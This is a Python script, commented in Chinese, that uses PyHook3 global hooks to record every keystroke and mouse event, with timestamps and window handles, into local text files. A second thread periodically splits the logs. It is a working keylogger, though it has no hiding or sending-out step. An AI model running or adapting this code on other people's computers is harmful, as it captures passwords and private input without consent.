#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2018.11.20 13:50 
# @Author : By Joker
# @File : listening_key_03
# @Software: PyCharm
import time
import threading

import PyHook3
import pythoncom
from past.builtins import xrange

index = 0  # 用于标记文件名,两个线程共享此变量


class Listening(threading.Thread):
    """
    用于鼠标,键盘事件的监听
    """

    def __init__(self):
        threading.Thread.__init__(self)

    def on_mouse_event(self, event):
        """
        监听鼠标事件,并将监听信息写入文件
        :param event:
        :return: 返回True,以便将事件传给其他处理程序
                  注意, 若返回False, 则鼠标事件将被全部拦截
                  导致鼠标失去响应
        """
        self.write_listening_key_mouse(event)

        return True

    def on_keyboard_event(self, event):
        """
        监听键盘事件,并将监听信息写入文件
        :param event:
        :return: 同鼠标监听事件的返回值
        """
        self.write_listening_key(event)

        return True

    def write_listening_key_mouse(self, event):
        """
        将监听的鼠标信息写入文件
        :param event:
        :return:
        """
        filename = './mouse.txt'
        if index != 0:
            filename = './mouse' + '_' + str(index) + '.txt'
        with open(filename, 'a+') as f:
            f.write(
                '事件: ' + event.MessageName + ', 时间: ' + self.format_time() + ', 窗口信息: '
                + str(event.Window) + ', 滚轮: ' + str(event.Wheel) + '\r\n')

    def write_listening_key(self, event):
        """
        将监听的键盘信息写入文件
        :param event:
        :return:
        """
        with open('./keyboard.txt', 'a+') as f:
            f.write(
                '事件: ' + event.MessageName + ', 时间: ' + self.format_time() + ', 窗口信息: '
                + str(event.Window) + ', 键值: ' + event.Key + ', 键ID: ' + str(event.KeyID) + '\r\n')

    @staticmethod
    def format_time():
        """
        返回当前指定格式的日期
        :return:
        """
        now = int(time.time())
        time_array = time.localtime(now)

        return time.strftime('%Y-%m-%d %H:%M:%S', time_array)

    def main(self):
        # 创建监听对象
        manager = PyHook3.HookManager()

        # 监听所有键盘事件
        manager.KeyDown = self.on_keyboard_event
        # 设置键盘监听
        manager.HookKeyboard()

        # 监听鼠标事件
        manager.MouseAll = self.on_mouse_event
        # 设置鼠标监听
        manager.HookMouse()

        # 循环监听, 若不手动关闭, 程序将一直处于监听状态
        pythoncom.PumpMessages()

    def run(self):
        self.main()


class FileHandle(threading.Thread):
    """
    用于分割监听信息
    """

    def __init__(self, filename, size):
        self.fileName = filename  # 文件名,不包含后缀
        self.Size = size  # 固定切割行数(若给定100,实际内容是50,还有50是空行)
        threading.Thread.__init__(self)

    def split_file(self):
        """
        按照内容行数分割
        :return:
        """
        with open(self.fileName + '.txt', 'r') as f:
            global index
            while 1:
                index += 1
                try:
                    with open(self.fileName + '_%d.txt' % index, 'w') as temp:
                        for _ in xrange(self.Size):
                            temp.write(f.__next__())
                except StopIteration:
                    break

    def timer_split_file(self):
        """
        超过指定行数则分割
        :return:
        """
        with open(self.fileName + '.txt', 'r') as f:
            lines = f.readlines()
            if lines.__len__() > self.Size:
                self.split_file()

    def start_timer_split_file(self):
        """
        启动定时分割,每10分钟分割一次
        :return:
        """
        while 1:
            self.timer_split_file()
            time.sleep(10 * 60)

    def run(self):
        self.start_timer_split_file()


if __name__ == '__main__':
    """
    这里需要用到线程,一个线程执行监听,一个线程执行分割,由于监听是一直运行的
    只用一个线程,分割是不会执行的 
    """
    listening = Listening()
    listening.start()

    file_handle = FileHandle('./mouse', 30000)  # 30000行内容的大小约为1M
    file_handle.start()
